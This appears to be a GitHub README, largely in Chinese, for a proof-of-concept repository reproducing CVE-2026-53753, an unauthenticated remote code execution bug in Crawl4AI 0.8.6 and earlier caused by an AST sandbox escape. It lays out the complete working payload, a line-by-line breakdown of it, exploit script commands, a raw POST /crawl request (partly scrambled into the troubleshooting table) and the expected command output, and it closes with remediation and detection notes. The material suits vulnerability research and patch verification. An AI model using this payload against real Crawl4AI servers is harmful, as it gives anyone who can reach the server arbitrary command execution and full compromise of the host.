BiiTts/CVE-2026-53753-Crawl4AI-RCE
GitHub: BiiTts/CVE-2026-53753-Crawl4AI-RCE
该项目复现了 Crawl4AI 0.8.6 及更早版本中因 AST 沙箱逃逸导致的未授权远程代码执行漏洞,并提供完整的 PoC 脚本与靶场环境。
Stars: 0 | Forks: 0
# CVE-2026-53753 — Crawl4AI 未授权远程代码执行(AST 沙箱逃逸)
| | |
|---|---|
| **CVE** | CVE-2026-53753 |
| **公告** | [GHSA-qxjp-w3pj-48m7](https://github.com/advisories/GHSA-qxjp-w3pj-48m7) |
| **受影响版本** | Crawl4AI `<= 0.8.6` |
| **修复版本** | `0.8.7` |
| **类别** | CWE-94(代码注入)/ Python 沙箱逃逸 |
| **CVSS 3.1** | `9.8` — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **认证** | **无** — 默认配置为 `jwt_enabled: false` |
| **状态** | **已确认** — 已针对官方 `unclecode/crawl4ai:0.8.6` 镜像完成端到端复现 |
## 目录
1. [根本原因](#1-root-cause)
2. [Payload 解析](#2-anatomy-of-the-payload-line-by-line)
3. [为什么帧遍历能到达真实的 builtins](#3-why-the-frame-walk-reaches-real-builtins)
4. [环境搭建](#4-lab-setup)
5. [运行漏洞利用](#5-run-the-exploit)
6. [预期输出](#6-expected-output)
7. [原始 HTTP 请求](#7-raw-http-request)
8. [故障排除](#8-troubleshooting)
9. [影响 / 补救 / 检测](#9-impact)
10. [验证](#10-validation)
## 1. 根本原因
`crawl4ai/extraction_strategy.py` 允许在提取 schema 中定义**计算字段** —— 即针对每个提取项求值的小型 Python 表达式。这些表达式由 `_safe_eval_expression()` 运行,该函数尝试通过 AST 白名单和精简版的 `__builtins__` 来对表达式进行沙箱处理:
```
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "", "eval"), safe_globals, local_vars)
```
验证器采用的是**基于前缀的拒绝策略**:它仅拒绝*以 `_` 开头*的名称(以及 `import`)。这单个启发式规则就是整个沙箱的全部 —— 而它存在三个漏洞,组合起来便可实现完全逃逸:
| # | 漏洞 | 为什么重要 |
|---|------|----------------|
| 1 | `gi_frame`, `f_back`, `f_builtins` **不以 `_` 开头** | 整个 Python 帧/生成器自省面都是可达的。 |
| 2 | `obj['__import__']` 是 `ast.Subscript`,**而不是** `ast.Attribute` | 验证器从不检查字典下标的键,因此 dunder 键 `__import__` 可以通过。 |
| 3 | **正在运行的**生成器的 `f_back` 链指向外部帧,其 `f_builtins` 是**真实的** builtins | 从精简的 `_SAFE_EVAL_BUILTINS` 逃逸回完整的 builtins(`__import__` 等)。 |
schema 在**无需身份验证**的情况下即可到达此函数:Docker API 默认配置为 `security.jwt_enabled: false`,因此 `/crawl` 的 token 依赖项为 `lambda: None`。
## 2. Payload 解析,逐行分析
计算字段表达式如下:
```
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read()
for i in [1])),
list(g)
)[-1])()
```
逐块解析如下:
| 片段 | 作用 | 验证器为何允许 |
|----------|------|-----------------------------|
| `(lambda: ... )()` | 创建一个函数作用域,以便通过海象运算符绑定的名称存在于**闭包单元**中。 | `ast.Lambda` 未被检查。 |
| `g := ( for i in [1])` | 将生成器绑定到 `g`,**并且**生成器主体引用 `g`(自身)。 | `:=` 和生成器表达式未被检查。(海象运算符在推导式的 *可迭代对象* 中是非法的,因此将其放置在元组元素中。) |
| `list(g)` | 驱动生成器 —— 因此在主体运行时其帧是**活跃的**。 | `list` 存在于安全的 builtins 中。 |
| `g.gi_frame` | 生成器的帧对象。 | `gi_frame` 不以 `_` 开头。 |
| `.f_back.f_back.f_back` | 向上遍历**三次**帧,到达一个具有真实 builtins 的帧。 | `f_back` 不以 `_` 开头。 |
| `.f_builtins` | 该帧的 builtins 映射(**真实的**那个)。 | `f_builtins` 不以 `_` 开头。 |
| `['__import__']` | 从 builtins 字典中获取 `__import__`。 | 字典**下标** —— 从未被检查。 |
| `('os')` | `__import__('os')` → `os` 模块。 | 调用目标是 `Subscript`,而不是 `Name`/`Attribute`。 |
| `.popen('id').read()` | 运行命令并返回其标准输出。 | `popen`/`read` 不以 `_` 开头。 |
由于生成器的返回值为 `os.popen(cmd).read()`,命令的**标准输出成为了字段值**,并直接反映在 `/crawl` 响应中 —— 这是一个带内通道(in-band oracle),不需要 OAST。
## 3. 为什么帧遍历能到达真实的 builtins
当 `list(g)` 迭代生成器时,调用栈如下所示:
```
frame: _safe_eval_expression() <-- real builtins (__import__ lives here) ← f_back ×3
└ frame: (eval) <-- sandboxed builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <-- sandboxed ← f_back ×1
└ frame: g <-- RUNNING; g.gi_frame is this frame ← gi_frame
```
`g.gi_frame.f_back` 仅在**生成器运行时**才会被填充(这就是生成器必须引用自身并由 `list(g)` 驱动的原因 —— 尚未启动的生成器其 `f_back` 为 `None`)。向上遍历三次 `f_back` 会落到 `_safe_eval_expression` 帧上,该帧的 `f_builtins` 是完整的 builtins 模块 —— 随后 `__import__` 便通过下标从中提取出来。
## 4. 环境搭建
官方镜像提供了易受攻击的默认配置(无身份验证):
```
# 选项 A — docker compose(带有 bridge networking 的普通 Docker 主机)
docker compose -f lab/docker-compose.yml up -d
# 选项 B — 纯 docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
```
等待约 20 秒让浏览器池预热完成(`docker logs crawl4ai-vuln` →
显示 `Application startup complete`)。
## 5. 运行漏洞利用
```
# 检查 request body 而不发送它:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# 触发它(命令的 stdout 会在 response 中返回):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
```
`exploit.py` 仅使用 Python 标准库 —— 无需第三方依赖。
## 6. 预期输出
```
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
```
`out` 字段反映的是**实时的系统状态**(`id` 输出、`uname`、容器的
`os-release`),而不是请求内容的回显 —— `uid=999(appuser)` 是容器的
服务账号,证明代码是在 Crawl4AI 主机**内部**执行的。唯一的
`echo ` 被原样返回,确认了命令确实已执行。
## 7. 原始 HTTP 请求
```
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://"}]}}}}}}
```
* `raw://…` 使得请求是自包含的 —— 无需出站抓取;攻击者直接在请求体内联提供 HTML。
* `baseSelector: "div"` 只需匹配到一个元素,以便触发对计算字段的求值。针对真实的抓取目标,请使用任何能匹配该页面的选择器。
## 8. 故障排除
| 症状 | 原因 / 修复 |
|---------|-------------|
| `:11235` 上出现 `Connection refused` | 容器仍在预热中,或者您的 Docker 守护进程没有可用的 `bridge` 网络。请等待出现 `Application startup complete`;如果端口映射未绑定,请使用 `--network host` 运行容器。 |
| `out` 为 `null` | 基础选择器未匹配到任何元素 —— 请确保 `raw://` HTML 中包含 `
hi
"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"`(或调整 `baseSelector`)。 |
| 在 0.8.6 上有效但在 0.8.7 上无效 | 符合预期 —— `0.8.7` 移除了 `_safe_eval_expression` 并彻底禁用了 `expression` 键(即修复方案)。 |
## 9. 影响
在默认部署中,任何网络可达的客户端都无需身份验证即可在 Crawl4AI 主机上执行任意的系统命令 —— 这将导致服务器的全面沦陷,并以此作为跳板攻击其能访问到的任何内部资源。
### 补救措施
* 升级至 **Crawl4AI ≥ 0.8.7**(移除了 `_safe_eval_expression`;计算字段的 `expression` 键已被禁用 —— 请改用 `function` 键并传入经过审查的 Python 可调用对象)。
* 纵深防御:启用 JWT(`jwt_enabled: true` + `api_token`),并且切勿将 Crawl4AI API 暴露给不受信任的网络。
### 检测
重点关注包含 `gi_frame`、`f_back`、`f_builtins` 的 `POST /crawl`(以及 `/crawl/stream`)请求体,或者任何带有 `expression` 键的 `computed` 字段。
## 10. 验证
* **单元层面** —— payload 直接针对 `crawl4ai==0.8.6` 的
`_safe_eval_expression` 运行;返回了实时的命令输出。
* **端到端** —— 官方 `unclecode/crawl4ai:0.8.6` 镜像,未经身份验证的
`POST /crawl`;响应包含了来自容器内部的 `uid=999(appuser)` 和 `/proc/1/cgroup`(详见 [`EVIDENCE.txt`](EVIDENCE.txt))。
* **补丁边界** —— 在 `0.8.7` 上进行相同的调用返回 `None`
(`"Computed field 'expression' is disabled for security"`)。
* **净室复现** —— 全新的 `git clone` + 全新的容器可通过每次运行唯一的标记复现 RCE,无需手动干预。
### 披露 / 致谢
* PoC 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* 漏洞功劳归属于原始的 CVE/公告报告者;本仓库是
出于防御和教育目的进行的独立复现。
* 仅用于授权的安全测试。
标签:Go语言工具, Python, 安全PoC, 无后门, 沙箱逃逸, 编程工具, 自动化payload嵌入, 请求拦截, 远程代码执行, 逆向工具